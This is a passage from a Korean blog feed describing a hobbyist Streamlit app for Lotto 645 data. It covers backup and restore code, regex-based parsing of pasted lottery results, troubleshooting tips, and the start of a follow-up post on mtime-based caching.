&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;웹 앱에서 롤백 (Rollback in Web App):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def backup_management_page():
    &quot;&quot;&quot;백업 관리 페이지 (Backup Management Page)&quot;&quot;&quot;
    st.title(&quot;  백업 관리 (Backup Management)&quot;)

    updater = LottoDataUpdater(&quot;../Data/645_251227.csv&quot;)

    # 백업 목록 (Backup List)
    backups = updater.list_backups()

    if backups:
        st.success(f&quot;  총 {len(backups)}개 백업 파일 ({len(backups)} backup files)&quot;)

        # 테이블로 표시 (Display as Table)
        import pandas as pd
        backup_df = pd.DataFrame([{
            '파일명 (Filename)': b['name'],
            '크기 (Size)': f&quot;{b['size'] / 1024:.1f} KB&quot;,
            '생성일시 (Created)': datetime.fromtimestamp(b['mtime']).strftime('%Y-%m-%d %H:%M:%S')
        } for b in backups])

        st.dataframe(backup_df, use_container_width=True)

        # 복구 (Restore)
        st.markdown(&quot;###   복구 (Restore)&quot;)

        selected_backup = st.selectbox(
            &quot;복구할 백업 선택 (Select Backup to Restore)&quot;,
            [b['name'] for b in backups]
        )

        if st.button(&quot;⚠️ 복구 실행 (Restore)&quot;, type=&quot;secondary&quot;):
            selected_path = next(b['path'] for b in backups if b['name'] == selected_backup)

            with st.spinner(&quot;복구 중... (Restoring...)&quot;):
                updater.restore_from_backup(selected_path)

            st.success(&quot;✅ 복구 완료! (Restore Complete!)&quot;)
            st.info(&quot;  앱을 새로고침하세요. (Refresh the app.)&quot;)

    else:
        st.info(&quot;  백업 파일이 없습니다. (No backup files.)&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6. 실전 사용 가이드 (Practical Usage Guide)&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  Step-by-Step 가이드 (Step-by-Step Guide)&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Step 1: 로또 웹사이트 접속 (Visit Lottery Website)&lt;/h4&gt;
&lt;pre class=&quot;vim&quot;&gt;&lt;code&gt;https://www.dhlottery.co.kr/gameResult.do?method=byWin&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Step 2: 정보 복사 (Copy Information)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마우스로 드래그하여 선택 후 복사 (Ctrl+C / Cmd+C):&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;1205회 로또 당첨번호
2026년01월03일 추첨

당첨번호: 1, 4, 16, 23, 31, 41
보너스: 2

1등 당첨금: 23억 3,499만원
1등 당첨자: 12명&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Step 3: 웹 앱에서 붙여넣기 (Paste in Web App)&lt;/h4&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;웹 앱 접속: &lt;code&gt;https://lo645251227.streamlit.app/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&quot;  데이터 업데이트&quot; 페이지 선택&lt;/li&gt;
&lt;li&gt;&quot;  텍스트 파싱&quot; 탭 선택&lt;/li&gt;
&lt;li&gt;텍스트 영역에 붙여넣기 (Ctrl+V / Cmd+V)&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Step 4: 파싱 실행 (Parse)&lt;/h4&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&quot;  파싱 실행&quot; 버튼 클릭&lt;/li&gt;
&lt;li&gt;결과 확인:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;회차: 1205 ✅&lt;/li&gt;
&lt;li&gt;날짜: 2026-01-03 ✅&lt;/li&gt;
&lt;li&gt;번호: [1, 4, 16, 23, 31, 41] ✅&lt;/li&gt;
&lt;li&gt;보너스: 2 ✅&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Step 5: 저장 (Save)&lt;/h4&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&quot;  CSV에 저장&quot; 버튼 클릭&lt;/li&gt;
&lt;li&gt;자동 백업 생성됨&lt;/li&gt;
&lt;li&gt;CSV 파일 업데이트됨&lt;/li&gt;
&lt;li&gt;  완료!&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;총 소요 시간 (Total Time): ~3초&lt;/b&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  트러블슈팅 (Troubleshooting)&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;문제 1: &quot;파싱 실패&quot; 에러 (Parsing Failed Error)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인 (Cause):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;텍스트 형식이 예상과 다름 (Text format different from expected)&lt;/li&gt;
&lt;li&gt;필수 정보 누락 (Missing required info)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결 (Solution):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;avrasm&quot;&gt;&lt;code&gt;# 디버그 정보 확인 (Check debug info)
st.expander(&quot;  디버그 정보&quot;)  # 클릭하여 확인&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;체크리스트 (Checklist):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;✅ 회차 번호 포함? (Round number included?)&lt;/li&gt;
&lt;li&gt;✅ 날짜 포함? (Date included?)&lt;/li&gt;
&lt;li&gt;✅ 번호 6개 + 보너스 1개? (6 numbers + 1 bonus?)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;문제 2: 중복 회차 (Duplicate Round)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인 (Cause):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이미 존재하는 회차 (Round already exists)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결 (Solution):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;gauss&quot;&gt;&lt;code&gt;❌ Error: Round 1205 already exists!&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;대처 (Action):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;백업에서 복구하거나 (Restore from backup)&lt;/li&gt;
&lt;li&gt;CSV에서 직접 수정 (Edit CSV directly)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;문제 3: 백업 파일이 너무 많음 (Too Many Backups)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결 (Solution):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;armasm&quot;&gt;&lt;code&gt;# 오래된 백업 자동 삭제 (Auto-delete old backups)
cd Data/backups
ls -t | tail -n +11 | xargs rm  # 최신 10개만 유지 (Keep latest 10)&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  핵심 배운 점 (Key Takeaways)&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;✅ 정규표현식 마스터리 (Regex Mastery)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;5가지 핵심 패턴 (5 Key Patterns):&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;code&gt;(\d+)회&lt;/code&gt; - 회차 (Round)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;(\d{4})[년.-](\d{1,2})[월.-](\d{1,2})&lt;/code&gt; - 날짜 (Date)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;\b([1-9]|[1-3][0-9]|4[0-5])\b&lt;/code&gt; - 번호 1-45 (Numbers 1-45)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;(\d+(?:,\d{3})*)\s*억&lt;/code&gt; - 당첨금 (Prize)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;(\d+)\s*명&lt;/code&gt; - 당첨자 (Winners)&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  설계 철학 (Design Philosophy)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 단순함이 최고 (Simplicity is Best)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;크롤링보다 복사-붙여넣기 (Copy-paste over crawling)&lt;/li&gt;
&lt;li&gt;3초 vs 10초 (3 sec vs 10 sec)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 안정성 우선 (Reliability First)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;99% vs 70% (99% vs 70%)&lt;/li&gt;
&lt;li&gt;자동 백업 시스템 (Auto-backup system)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 사용자 친화적 (User-Friendly)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;2열 레이아웃 (2-column layout)&lt;/li&gt;
&lt;li&gt;실시간 피드백 (Real-time feedback)&lt;/li&gt;
&lt;li&gt;시각적 검증 (Visual validation)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt; ️ 데이터 안전성 (Data Safety)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4가지 안전 장치 (4 Safety Features):&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;자동 백업 (Auto-Backup)&lt;/b&gt;: 모든 업데이트 전&lt;/li&gt;
&lt;li&gt;&lt;b&gt;타임스탬프 (Timestamp)&lt;/b&gt;: 버전 관리&lt;/li&gt;
&lt;li&gt;&lt;b&gt;에러 시 롤백 (Error Rollback)&lt;/b&gt;: 자동 복구&lt;/li&gt;
&lt;li&gt;&lt;b&gt;중복 방지 (Duplicate Prevention)&lt;/b&gt;: 검증 로직&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  관련 링크 (Related Links)&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;GitHub&lt;/b&gt;: &lt;a href=&quot;https://github.com/MyJYP/lotter645_1227&quot;&gt;lotter645_1227&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Streamlit App&lt;/b&gt;: &lt;a href=&quot;https://lo645251227.streamlit.app/&quot;&gt;로또 645 분석 웹 앱&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;정규표현식 테스트&lt;/b&gt;: &lt;a href=&quot;https://regex101.com/&quot;&gt;regex101.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;이전 에피소드&lt;/b&gt;: &lt;a href=&quot;https://thepin.tistory.com/188&quot;&gt;7편 - 8501 포트 너머로&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;다음 에피소드&lt;/b&gt;: &lt;a href=&quot;https://thepin.tistory.com/186&quot;&gt;9편 - 파일이 기억하는 순간들&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  마무리하며 (Closing Thoughts)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;복잡한 크롤링 대신 단순한 복사-붙여넣기.&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정규표현식 5개면 충분했다. 회차, 날짜, 번호, 보너스, 당첨금. 이것만 추출하면 끝이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3초. 웹사이트에서 복사하고, 붙여넣고, 저장 버튼을 누르는 시간.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;크롤링은 10초가 걸리고 70% 신뢰도였다. 사이트 구조가 바뀌면 동작하지 않았다. 디버깅도 어려웠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 텍스트 파싱은 99% 신뢰도였다. 텍스트 형식이 조금 달라도 괜찮았다. 다양한 구분자를 지원했다. 사용자가 보는 것을 그대로 복사하면 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자동 백업 시스템은 안전망이었다. 모든 업데이트 전에 백업을 생성했다. 타임스탬프로 버전을 관리했다. 문제가 생기면 언제든 롤백할 수 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;복잡함보다 단순함을. 자동화보다 사용자 친화성을. 속도보다 안정성을.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정규표현식이 만들어낸 우아한 승리였다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  SEO 태그&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;#포함 해시태그&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;#정규표현식 #텍스트파싱 #데이터업데이트 #자동백업 #RegEx #사용자경험 #안정성 #3초업데이트 #복사붙여넣기 #데이터안전성&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;쉼표 구분 태그&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정규표현식, RegEx, 텍스트파싱, 패턴매칭, 데이터추출, 자동백업, 타임스탬프, 버전관리, 롤백, 데이터안전, 사용자친화적, Python, Streamlit, 웹스크래핑&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작성&lt;/b&gt;: @MyJYP&lt;br /&gt;&lt;b&gt;시리즈&lt;/b&gt;: 로또 645 데이터 분석 프로젝트 (8/10)&lt;br /&gt;&lt;b&gt;라이선스&lt;/b&gt;: CC BY-NC-SA 4.0&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  Claude Code 사용량&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작업 전:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;세션 사용량: 73,491 tokens&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작업 후:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;세션 사용량: 92,992 tokens (35% 사용 = 100%-78%+13%)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용량 차이:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Episode 8 작성 사용량: ~19,500 tokens&lt;/li&gt;
&lt;li&gt;이미지 5개 생성 + 본문 840줄 작성 포함&lt;/li&gt;
&lt;li&gt;generate_episode8_images.py 스크립트 작성 (545줄) 포함&lt;/li&gt;
&lt;li&gt;정규표현식 5가지 패턴 상세 설명 및 구현 포함&lt;/li&gt;
&lt;li&gt;텍스트 파싱, 자동 백업 시스템 전체 코드 포함&lt;/li&gt;
&lt;li&gt;주간사용량 3%사용 (78%-75%)&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>VibeCoding/lo645251227</category>
      <category>Regex</category>
      <category>데이터안전</category>
      <category>데이터추출</category>
      <category>롤백</category>
      <category>버전관리</category>
      <category>자동백업</category>
      <category>정규표현식</category>
      <category>타임스탬프</category>
      <category>텍스트파싱</category>
      <category>패턴매칭</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/187</guid>
      <comments>https://thepin.tistory.com/187#entry187comment</comments>
      <pubDate>Sun, 11 Jan 2026 11:39:48 +0900</pubDate>
    </item>
    <item>
      <title>Episode 9: 파일이 기억하는 순간들 (Moments Files Remember)</title>
      <link>https://thepin.tistory.com/186</link>
      <description>&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;이 글은 패스트캠퍼스 바이브코딩 강의를 수강하며, 별도의 주제로 진행한 데이터 분석 프로젝트 과정을 기록한 것입니다. 코딩과 글 작성에는 클로드코드와 커서AI를 함께 활용했음을 미리 밝힙니다.&lt;/span&gt;&lt;/blockquote&gt;
&lt;h1&gt;Episode 9: 파일이 기억하는 순간들 (Moments Files Remember)&lt;/h1&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;파일은 기억한다. 마지막으로 수정된 그 순간을. mtime이 만든 똑똑한 캐싱.&quot;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1542&quot; data-origin-height=&quot;1202&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cJY0Ao/dJMcag5iZhg/FgTT1SrI7LePdp34f1kjKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cJY0Ao/dJMcag5iZhg/FgTT1SrI7LePdp34f1kjKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cJY0Ao/dJMcag5iZhg/FgTT1SrI7LePdp34f1kjKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcJY0Ao%2FdJMcag5iZhg%2FFgTT1SrI7LePdp34f1kjKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;433&quot; height=&quot;338&quot; data-origin-width=&quot;1542&quot; data-origin-height=&quot;1202&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  이번 에피소드에서는&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;성능 (Performance)&lt;/b&gt;과 &lt;b&gt;데이터 최신성 (Data Freshness)&lt;/b&gt;의 딜레마를 해결합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일의 &lt;b&gt;수정 시간 (Modification Time, mtime)&lt;/b&gt;을 활용하여 &lt;b&gt;자동으로 캐시를 갱신&lt;/b&gt;하는 똑똑한 시스템을 구축합니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  목차&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#1-%EC%BA%90%EC%8B%B1%EC%9D%98-%EB%94%9C%EB%A0%88%EB%A7%88&quot;&gt;캐싱의 딜레마&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#2-mtime-%EA%B8%B0%EB%B0%98-%EB%8F%99%EC%A0%81-%EC%BA%90%EC%8B%B1&quot;&gt;mtime 기반 동적 캐싱&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#3-%EC%BA%90%EC%8B%9C-%EB%AC%B4%ED%9A%A8%ED%99%94-%ED%94%84%EB%A1%9C%EC%84%B8%EC%8A%A4&quot;&gt;캐시 무효화 프로세스&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#4-%EC%84%B1%EB%8A%A5-%EB%B9%84%EA%B5%90&quot;&gt;성능 비교&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#5-%EC%8B%A4%EC%A0%84-%EA%B5%AC%ED%98%84&quot;&gt;실전 구현&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#6-%EC%B6%94%EA%B0%80-ui-%EA%B0%9C%EC%84%A0&quot;&gt;추가 UI 개선&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 캐싱의 딜레마 (The Caching Dilemma)&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2085&quot; data-origin-height=&quot;1185&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/exrO4b/dJMcagEfb9x/wyDwMi6mSE1ennaMtB6li0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/exrO4b/dJMcagEfb9x/wyDwMi6mSE1ennaMtB6li0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/exrO4b/dJMcagEfb9x/wyDwMi6mSE1ennaMtB6li0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FexrO4b%2FdJMcagEfb9x%2FwyDwMi6mSE1ennaMtB6li0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2085&quot; height=&quot;1185&quot; data-origin-width=&quot;2085&quot; data-origin-height=&quot;1185&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;⚖️ 성능 vs 최신성 (Performance vs Freshness)&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;왼쪽: 성능 우선 (Performance First) ✅&lt;/h4&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;@st.cache_data
def load_lotto_data():
    &quot;&quot;&quot;데이터 로딩 (캐싱) (Data Loading with Caching)&quot;&quot;&quot;
    loader = LottoDataLoader(&quot;../Data/645_251227.csv&quot;)
    loader.load_data()
    loader.preprocess()
    loader.extract_numbers()
    return loader&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;장점 (Advantages):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;✅ &lt;b&gt;초고속 로딩 (Fast Loading)&lt;/b&gt;: 0.5초&lt;/li&gt;
&lt;li&gt;✅ &lt;b&gt;뛰어난 사용자 경험 (Excellent UX)&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;✅ &lt;b&gt;낮은 서버 부하 (Low Server Load)&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;단점 (Disadvantages):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;❌ &lt;b&gt;업데이트 후 구데이터 (Stale Data After Update)&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;❌ &lt;b&gt;앱 재시작 필요 (Need App Restart)&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;❌ &lt;b&gt;수동 캐시 초기화 (Manual Cache Clear)&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;오른쪽: 최신성 우선 (Freshness First) ✅&lt;/h4&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;# 캐싱 없음 (No Caching)
def load_lotto_data():
    &quot;&quot;&quot;매번 새로 로딩 (Load Fresh Every Time)&quot;&quot;&quot;
    loader = LottoDataLoader(&quot;../Data/645_251227.csv&quot;)
    loader.load_data()
    loader.preprocess()
    loader.extract_numbers()
    return loader&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;장점 (Advantages):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;✅ &lt;b&gt;항상 최신 데이터 (Always Latest Data)&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;✅ &lt;b&gt;100% 정확도 (100% Accuracy)&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;✅ &lt;b&gt;실시간 업데이트 (Real-time Updates)&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;단점 (Disadvantages):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;❌ &lt;b&gt;느린 로딩 (Slow Loading)&lt;/b&gt;: 15초&lt;/li&gt;
&lt;li&gt;❌ &lt;b&gt;높은 서버 부하 (Heavy Server Load)&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;❌ &lt;b&gt;나쁜 사용자 경험 (Poor UX)&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  해결책: 동적 캐싱 (Solution: Dynamic Caching)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핵심 아이디어 (Key Idea):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파일이 변경되지 않으면 &lt;b&gt;캐시 사용 (Use Cache)&lt;/b&gt; &amp;rarr; 빠름 ⚡&lt;/li&gt;
&lt;li&gt;파일이 변경되면 &lt;b&gt;캐시 갱신 (Refresh Cache)&lt;/b&gt; &amp;rarr; 최신 데이터  &lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;어떻게 파일 변경을 감지할까? (How to Detect File Changes?)&lt;/b&gt;&lt;br /&gt;&amp;rarr; &lt;b&gt;mtime (Modification Time)&lt;/b&gt; 활용!&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. mtime 기반 동적 캐싱 (mtime-based Dynamic Caching)&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2085&quot; data-origin-height=&quot;1495&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IhZM8/dJMcaaxeIfm/oOpNQsykb4tXTcmljNTUuk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IhZM8/dJMcaaxeIfm/oOpNQsykb4tXTcmljNTUuk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IhZM8/dJMcaaxeIfm/oOpNQsykb4tXTcmljNTUuk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIhZM8%2FdJMcaaxeIfm%2FoOpNQsykb4tXTcmljNTUuk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; 